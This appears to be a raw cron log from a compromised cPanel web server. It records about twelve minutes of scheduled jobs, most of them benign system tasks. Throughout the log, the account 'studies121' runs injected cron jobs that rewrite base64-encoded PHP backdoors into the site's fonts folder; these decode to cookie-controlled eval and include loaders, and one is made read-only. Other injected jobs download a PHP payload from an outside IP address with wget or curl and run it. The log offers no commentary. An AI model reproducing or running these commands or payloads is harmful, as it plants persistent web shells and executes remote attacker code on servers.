Sep  7 10:26:01 ip-184-168-122-23 CROND[8879]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 10:26:01 ip-184-168-122-23 CROND[8881]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 10:26:01 ip-184-168-122-23 CROND[8882]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 10:26:01 ip-184-168-122-23 CROND[8884]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 10:26:01 ip-184-168-122-23 CROND[8886]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 10:27:01 ip-184-168-122-23 CROND[8985]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 10:27:01 ip-184-168-122-23 CROND[8986]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 10:27:01 ip-184-168-122-23 CROND[8987]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 10:27:01 ip-184-168-122-23 CROND[8988]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 10:28:01 ip-184-168-122-23 CROND[9079]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 10:28:01 ip-184-168-122-23 CROND[9081]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 10:28:01 ip-184-168-122-23 CROND[9080]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 10:28:01 ip-184-168-122-23 CROND[9084]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 10:28:01 ip-184-168-122-23 CROND[9082]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 10:29:01 ip-184-168-122-23 CROND[9214]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 10:29:01 ip-184-168-122-23 CROND[9216]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 10:29:01 ip-184-168-122-23 CROND[9217]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 10:29:01 ip-184-168-122-23 CROND[9218]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 10:30:01 ip-184-168-122-23 CROND[9348]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 10:30:01 ip-184-168-122-23 CROND[9354]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 10:30:01 ip-184-168-122-23 CROND[9360]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 10:30:01 ip-184-168-122-23 CROND[9358]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 10:30:01 ip-184-168-122-23 CROND[9359]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 10:30:01 ip-184-168-122-23 CROND[9353]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 10:30:01 ip-184-168-122-23 CROND[9357]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 10:30:01 ip-184-168-122-23 CROND[9356]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 10:31:01 ip-184-168-122-23 CROND[9512]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 10:31:01 ip-184-168-122-23 CROND[9513]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 10:31:01 ip-184-168-122-23 CROND[9516]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 10:31:01 ip-184-168-122-23 CROND[9517]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 10:31:01 ip-184-168-122-23 CROND[9518]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 10:32:01 ip-184-168-122-23 CROND[9662]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 10:32:01 ip-184-168-122-23 CROND[9664]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 10:32:01 ip-184-168-122-23 CROND[9665]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 10:32:01 ip-184-168-122-23 CROND[9666]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 10:32:01 ip-184-168-122-23 CROND[9667]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 10:33:01 ip-184-168-122-23 CROND[9775]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 10:33:01 ip-184-168-122-23 CROND[9776]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 10:33:01 ip-184-168-122-23 CROND[9777]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 10:33:01 ip-184-168-122-23 CROND[9779]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 10:34:01 ip-184-168-122-23 CROND[9890]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 10:34:01 ip-184-168-122-23 CROND[9893]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 10:34:01 ip-184-168-122-23 CROND[9892]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 10:34:01 ip-184-168-122-23 CROND[9894]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 10:34:01 ip-184-168-122-23 CROND[9895]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 10:35:01 ip-184-168-122-23 CROND[10118]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 10:35:01 ip-184-168-122-23 CROND[10122]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 10:35:01 ip-184-168-122-23 CROND[10116]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 10:35:01 ip-184-168-122-23 CROND[10119]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 10:35:01 ip-184-168-122-23 CROND[10120]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  7 10:35:01 ip-184-168-122-23 CROND[10123]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 10:35:01 ip-184-168-122-23 CROND[10117]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 10:35:01 ip-184-168-122-23 CROND[10121]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 10:36:01 ip-184-168-122-23 CROND[10256]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 10:36:01 ip-184-168-122-23 CROND[10259]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 10:36:01 ip-184-168-122-23 CROND[10257]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 10:36:01 ip-184-168-122-23 CROND[10260]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 10:36:01 ip-184-168-122-23 CROND[10258]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 10:37:01 ip-184-168-122-23 CROND[10389]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 10:37:01 ip-184-168-122-23 CROND[10391]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 10:37:01 ip-184-168-122-23 CROND[10390]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 10:37:01 ip-184-168-122-23 CROND[10392]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 10:38:01 ip-184-168-122-23 CROND[10529]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 10:38:01 ip-184-168-122-23 CROND[10532]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 10:38:01 ip-184-168-122-23 CROND[10531]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
